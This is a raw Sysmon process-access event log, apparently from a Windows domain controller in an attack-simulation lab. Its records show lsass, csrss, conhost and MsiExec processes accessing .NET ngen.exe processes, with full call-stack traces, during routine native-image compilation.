14:43:43.429{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-5B07-00000000F001}1032c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038802Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.429{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-5B07-00000000F001}1032c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038801Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.413{7BD73061-6F1F-613B-5C07-00000000F001}62606208C:\Windows\system32\conhost.exe{7BD73061-6F1F-613B-5B07-00000000F001}1032c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038800Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.413{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-5C07-00000000F001}6260C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038799Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.397{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-5B07-00000000F001}1032c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038798Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.397{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1F-613B-5B07-00000000F001}1032c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038797Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.397{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-5907-00000000F001}6896c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038796Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.397{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-5907-00000000F001}6896c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038795Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.382{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-5807-00000000F001}5604C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038794Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.382{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-5807-00000000F001}5604C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038793Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.382{7BD73061-6F1F-613B-5A07-00000000F001}55566920C:\Windows\system32\conhost.exe{7BD73061-6F1F-613B-5907-00000000F001}6896c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038792Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.366{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-5A07-00000000F001}5556C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038791Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.366{7BD73061-6F1E-613B-4007-00000000F001}70245644C:\Windows\system32\conhost.exe{7BD73061-6F1F-613B-5807-00000000F001}5604C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038790Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.366{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-5907-00000000F001}6896c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038789Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.366{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1F-613B-5907-00000000F001}6896c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038788Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.351{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-5807-00000000F001}5604C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038787Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.351{7BD73061-6F1E-613B-3D07-00000000F001}52962756C:\Windows\Microsoft.NET\Framework\v4.0.30319\NGenTask.exe{7BD73061-6F1F-613B-5807-00000000F001}5604C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.DLL+3d7ae(wow64)|UNKNOWN(0000000000FE4853)|UNKNOWN(0000000000FE4504)|UNKNOWN(0000000000FE2103)|UNKNOWN(0000000000FE0F66)|UNKNOWN(0000000000FE0950)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll+f066(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll+1230a(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll+185eb(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll+199407(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll+1bb96a(wow64) 10341000x800000000000000038786Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.351{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-5607-00000000F001}1344c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038785Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.351{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-5607-00000000F001}1344c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038784Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.335{7BD73061-6F1F-613B-5707-00000000F001}12245584C:\Windows\system32\conhost.exe{7BD73061-6F1F-613B-5607-00000000F001}1344c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038783Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.319{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-5707-00000000F001}1224C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038782Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.319{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-5607-00000000F001}1344c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038781Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.319{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1F-613B-5607-00000000F001}1344c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038780Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.319{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-5407-00000000F001}6804c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038779Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.319{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-5407-00000000F001}6804c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038778Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.288{7BD73061-6F1F-613B-5507-00000000F001}57726148C:\Windows\system32\conhost.exe{7BD73061-6F1F-613B-5407-00000000F001}6804c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038777Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.288{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-5507-00000000F001}5772C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038776Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.272{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-5407-00000000F001}6804c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038775Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.272{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1F-613B-5407-00000000F001}6804c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038774Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.272{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-5207-00000000F001}6772c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 